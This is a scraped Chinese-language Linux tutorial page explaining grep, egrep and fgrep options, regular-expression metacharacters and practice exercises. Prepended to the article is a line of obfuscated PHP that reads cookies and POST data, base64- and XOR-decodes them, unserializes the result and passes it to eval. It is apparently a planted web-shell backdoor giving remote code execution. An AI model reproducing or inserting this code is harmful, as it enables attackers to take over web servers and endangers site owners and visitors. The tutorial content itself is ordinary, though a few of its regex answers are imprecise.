$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} linux三剑客之grep | Linux运维部落

linux三剑客之grep

linux三剑客之grep

       所谓三剑客的工具有“grep”、“sed” 、“awk”,他们都是不谋而合的文本搜索查找处理的强大工具。grep 是 Ken Thompson 写的,他也是 Unix 的创造者。

gerp及正则表达式

   grep全称(GLobal search Regular expression and print out the line   全局搜索正则表达式并打印到命令行)

   grep是文本搜索工具,根据用户指定的“模式”(过滤条件),对目标文本逐行进行匹配并打印到命令行界面

   模式:由正则表达式的元字符及文本符所编写的过滤条件

grep又分为grep、egrep、fgrep;其中grep支持基本正则表达式,egrep支持扩展正则表达式,fgrep则不支持正则表达式;至于为什么要分的那么多,因为linux系统上有很多工具,而有的工具只支持基本正则表达式进行搜索,有的却支持扩展正则表达式,至于fgrep则是用来匹配不用 “模式 ” 作为过滤条件的工具,fgrep的搜索速度比前两者快很多。

grep的使用

    命令格式:

       grep [OPTIONS] PATTERN [FILE…] 

                选项          模式         查找的文件

       grep [OPTIONS] [-e PATTERN | -f FILE] [FILE…]

                 -e:逻辑或      -f:在文件中调用模式来匹配

      命令选项:

–color=auto :对匹配到的文本高亮显示

             -i :忽略字符大小写

在搜索时不区分字符的大小写

-o:仅显示匹配到的文本字符本身

搜索到匹配的字符串时只显示字符串本身,同行的其他字符不显示

-v:仅显示不能被匹配到的行

显示不能匹配到的其他行,被匹配到的不显示

-q:静默模式,即不输出任何信息

用于测试,常用于在脚本中用于判断是否能匹配,并不关心匹配到的值

-n:给匹配到的字符所在行添加行号

给匹配到的字符所在行进行标记,行号为字符所在文本中的行数

-c:统计匹配到的行的行数

计算出匹配到的字符的所有行总数,只显示总数

-e:逻辑或

同时匹配多个条件时使用一个条件前加一个-e选项

-w:匹配的字符串为整个单词

匹配时不以字符进行匹配,必须为单独的一个单词才能匹配到

-A:显示匹配到的行的前N行(N为要显示的行数)

显示匹配到的行的前面几行

-B:显示匹配到的行的后N行(N为要显示的行数)

显示匹配到的行的后面几行

-C:显示匹配到的行的前后N行(N为要显示的行数)

显示匹配到的行的前面和后面几行

-E:使用egrep进行搜索

支持扩展正则表的式进行搜索

-F:使用fgrep进行搜索

不支持正则表达式进行搜索

基本正则表达式的元字符:

用于对要匹配的字符模糊匹配,即显示出符合模式的字符,匹配方式有:字符匹配、匹配字符次数、字符串位置锚定、分组及引用

字符匹配:

         模糊对字符进行大概的类型进行查找

. :任意单个字符

[ ]: 指定范围内的任意单个字符

[^]:指定范围外的任意单个字符

其中用于[]和[^]中的还有一些常用的元字符:

[:space:]     所有空格和tab键

[:upper:]     所有大写字母

[:lower:]     所有小写字母

[:alpha:]     所有大小写字母

[:alnum:]    所有数字和大小写字母

[:digit:]    所有数字

[:punct:]    所有标点符号

注意:如[:punct:]等是一个整体,所以使用时需在加上外围内或范围外的中括号

匹配次数:

      匹配要查找的字符出现过几次

*:匹配其前面的字符任意次(0、1、多次)

.*:匹配任意长度的任意字符

\?:匹配其前面的字符0次或1次(此字符前面一个字符可有可无)

\+:匹配其前面的字符至少1次,可以多次

\{m\}:匹配其前面的字符m次

\{m,n\}:匹配其前面的字符至少m次,至多n次(包括给定的次数)

\{0,n\}:匹配其前面的字符至多n次

\{m,\}:匹配其前面的字符至少m次

位置锚定: 

      对字符的位置进行锚定查找

          1.对行的位置进行锚定

^:  行首锚定(用于模式的最左侧)

$:行尾锚定(用于模式的最右侧)

^PATTERN$:用PATTERN匹配整行

^$:空白行(不包括空格字符)

^[[:space:]]$:空白行(包括空格字符的行)

          2.对要查找的单词进行位置锚定;单词:非特殊字符组成的字符(字符串,包括数字)

\<或\b:词首锚定,用在单词的最左侧 

\>或\b:词尾锚定,用在单词的最右侧

\<PATTERN\>:用于匹配整个完整单词

注意:\b则用在要匹配单词模式的左右则即可,在左侧则为词首,右侧则为词尾

分组及引用:

      分组:

\(\):将一个字符或多个字符捆绑在一起当做一个整体来进行处理,可以引用此前匹配到的结果

      引用:

             引用前面分组匹配到的结果;分组括号中的模式匹配到的内容会被正则表达式引擎自动记录在内部变量中,使用此变量即可调用保存的结果再次进行匹配。

变量则为:\1、\2、\3、\4………………

\1:表示模式从左侧起,第一个左括号以及与之匹配的右括号之间的模式所匹配到的字符

\2:   表示模式从左侧起,第二个左括号以及与之匹配的右括号之间的模式所匹配到的字符

 

egrep的使用

    命令格式:

       egrep [OPTIONS] PATTERN [FILE…] 

                选项          模式         查找的文件

      命令选项:

–color=auto :对匹配到的文本高亮显示

             -i :忽略字符大小写

在搜索时不区分字符的大小写

-o:仅显示匹配到的文本字符本身

搜索到匹配的字符串时只显示字符串本身,同行的其他字符不显示

-v:仅显示不能被匹配到的行

显示不能匹配到的其他行,被匹配到的不显示

-q:静默模式,即不输出任何信息

用于测试,常用于在脚本中用于判断是否能匹配,并不关心匹配到的值

-n:给匹配到的字符所在行添加行号

给匹配到的字符所在行进行标记,行号为字符所在文本中的行数

-c:统计匹配到的行的行数

计算出匹配到的字符的所有行总数,只显示总数

-w:匹配的字符串为整个单词

匹配时不以字符进行匹配,必须为单独的一个单词才能匹配到

-A:显示匹配到的行的前N行(N为要显示的行数)

显示匹配到的行的前面几行

-B:显示匹配到的行的后N行(N为要显示的行数)

显示匹配到的行的后面几行

-C:显示匹配到的行的前后N行(N为要显示的行数)

显示匹配到的行的前面和后面几行

-F:使用fgrep进行搜索匹配

不支持正则表达式进行搜索

-G:使用grep进行搜索匹配

支持正则表达式进行搜索

扩展正则表达式的元字符:

用于对要匹配的字符模糊匹配,即显示出符合模式的字符,匹配方式有:字符匹配、匹配字符次数、字符串位置锚定、分组及引用

字符匹配:

         模糊对字符进行大概的类型进行查找

. :任意单个字符

[ ]: 指定范围内的任意单个字符

[^]:指定范围外的任意单个字符

其中用于[]和[^]中的还有一些常用的元字符:

[:space:]     所有空格和tab键

[:upper:]     所有大写字母

[:lower:]     所有小写字母

[:alpha:]     所有大小写字母

[:alnum:]    所有数字和大小写字母

[:digit:]    所有数字

[:punct:]    所有标点符号

注意:如[:punct:]等是一个整体,所以使用时需在加上外围内或范围外的中括号

匹配次数:

      匹配要查找的字符出现过几次

*:任意次

?:匹配其前面的字符0次或1次(此字符前面一个字符可有可无)

+:匹配其前面的字符至少1次,可以多次

{m}:匹配其前面的字符m次

{m,n}:匹配其前面的字符至少m次,至多n次(包括给定的次数)

{0,n}:匹配其前面的字符至多n次

{m,}:匹配其前面的字符至少m次

位置锚定: 

      对字符的位置进行锚定查找

          1.对行的位置进行锚定

^:  行首锚定(用于模式的最左侧)

$:行尾锚定(用于模式的最右侧)

^PATTERN$:用PATTERN匹配整行

^$:空白行(不包括空格字符)

^[[:space:]]$:空白行(包括空格字符的行)

          2.对要查找的单词进行位置锚定;单词:非特殊字符组成的字符(字符串,包括数字)

\<或\b:词首锚定,用在单词的最左侧 

\>或\b:词尾锚定,用在单词的最右侧

\<PATTERN\>:用于匹配整个完整单词

注意:\b则用在要匹配单词模式的左右则即可,在左侧则为词首,右侧则为词尾

分组及引用:

      分组:

():将一个字符或多个字符捆绑在一起当做一个整体来进行处理,可以引用此前匹配到的结果

      引用:

             引用前面分组匹配到的结果;分组括号中的模式匹配到的内容会被正则表达式引擎自动记录在内部变量中,使用此变量即可调用保存的结果再次进行匹配。

变量则为:\1、\2、\3、\4………………

\1:表示模式从左侧起,第一个左括号以及与之匹配的右括号之间的模式所匹配到的字符

\2:   表示模式从左侧起,第二个左括号以及与之匹配的右括号之间的模式所匹配到的字符

或:

      |    :前一个或者后一个

fgrep:不支持正则表达式元字符

当不需要用到元字符去进行匹配字符时,使用fgrep速度更快

练习题:

 1、显示当前系统root、 mage或wang用户的UID和默认shell

  [root@localhost /]# egrep "^(root|wang|mage)\b" /etc/passwd | cut -d: -f3,7

 2、找出/etc/rc.d/init.d/functions文件中行首为某单词(包括下划线)后面跟一个小括号的行

[root@localhost /]# grep "^[[:alnum:]_].*()" /etc/rc.d/init.d/functions

 3、使用egrep取出/etc/rc.d/init.d/functions中其基名

    [root@localhost testdir]# echo "/etc/aa/bb/" | egrep   "[^/]+*/?$"

 4、使用egrep取出上面路径的目录名

   [root@localhost testdir]# echo "/etc/aa/bb" | egrep   "^[^[:alnum:]]+.*/"

 6、显示ifconfig命令结果中所有IPv4地址

 ifconfig | egrep --color=auto "(\b([1-9]|1[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b\.)(\b([0-9]|1[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b\.){2}(\b([0-9]|1[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b)"

 7、显示/proc/meminfo文件中以大小s开头的行; (要求:使用两种方式)

[root@localhost testdir]# grep "^[S|s]" /proc/meminfo
[root@localhost testdir]# grep -i "^s" /proc/meminfo

 8、显示/etc/passwd文件中不以/bin/bash结尾的行

[root@localhost testdir]# grep -v  "/bin/bash$" /etc/passwd

 9、显示用户rpc默认的shell程序

[root@localhost testdir]# grep "^\brpc\b" /etc/passwd | cut -d: -f3,7

 10、找出/etc/passwd中的两位或三位数

[root@localhost testdir]# grep "\([[:digit:]]\)\{2,3\}" /etc/passwd

 11、显示/etc/grub.cfg文件中,至少以一个空白字符开头的且后面存非空白字符的行

[root@localhost testdir]# grep "^[[:space:]].*[^[:space:]]" /etc/grub.conf

 12、找出"netstat -tan"命令的结果中以'LISTEN'后跟0、 1或多个空白字符结尾的行

[root@localhost testdir]# netstat -tan | grep "\bLISTEN[[:space:]]*$"

13、找出/etc/passwd文件中用户名同shell名的行

[root@localhost /]# egrep "^(\<.*\>)+.*\1$" /etc/passwd
[root@localhost testdir]# egrep "^([[:alpha:]]+):.*\1$" /etc/passwd

14、用正则表达式表示IP地址

[root@localhost testdir]#  ifconfig | egrep --color=auto -o "(\b([1-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|2[0-2][0-3]])\b\.)(\b([0-9]|1[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b\.){2}(\b([0-9]|1[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-4])\b)"

15、用正则表达式表示手机号11 13 17 15  18 

 egrep "\b1[345678][0-9]{9}\b"

原创文章,作者:Lii,如若转载,请注明出处:http://www.178linux.com/29892

(0)
上一篇 2016-08-08 16:16
下一篇 2016-08-08 16:16

相关推荐

  • 网络通信安全基础OpenSSL

    OpenSSL: NIST: 保密性: 数据保密性 隐私性 完整性: 数据完整性 系统完整性 可用性  安全攻击: 被动攻击:窃听 主动攻击:伪装、重放、消息篡改、拒绝服  安全机制: 加密、数字签名、访问控制、数据完整性、认证交换、流量填充、路由控制、公证 安全服务: 认证 访问控制 数据保密性 连接保密性 无连接保密性 选择域保密性 …

    Linux干货 2015-09-06
  • CentOS 6开机启动流程理论篇

    CentOS 6开机启动流程理论篇 centos 系统的启动流程 grub 破坏Linux的核心文件再修复体验系统启动流程 概述 任 何系统启动的第一步必然是加电,然后计算机硬件会主动地读取BIOS来加载硬件设备信息并检测,之后系统会主动地读取第一个有引导程序的设备,该引导程序 (grub)可以指定使用哪个内核来启动,并将其加载至内存当中运行,同时内核还要加…

    Linux干货 2016-09-19
  • 第八周作业脚本练习

    1、写一个脚本,使用ping命令探测172.16.250.1-172.16.250.254之间的所有主机的在线状态;      在线的主机使用绿色显示;      不在线的主使用红色显示;          &…

    Linux干货 2017-02-01
  • linux常用的文件,目录管理命令总结和文件元数据信息含义

    常用的文件管理类命令及其具体用法 1.rmdir删除空目录 -p 递归删除多级空目录 这个命令不能删除非空目录 例如 [root@dxlcentOS ~]# rmdir /tmp/we rmdir: 删除 “/tmp/we” 失败: 目录非空 [root@dxlcentOS ~]# rmdir /tmp/we2 2.mkdir创建目录 常用选项-p 自动递归…

    Linux干货 2017-10-05
  • LVM管理

    一、简介 LVM是逻辑盘卷管理(Logical Volume Manager)的简称,它是Linux环境下对磁盘分区进行管理的一种机制,LVM是建立在硬盘和分区之上的一个逻辑层,来提高磁盘分区管理的灵活性。 LVM的工作原理是通过将底层的物理硬盘抽象的封装起来,然后以逻辑卷的方式呈现给上层应用。在传统的磁盘管理机制中,我们的上层应用是直接访问文件系统,从而对…

    Linux干货 2016-09-06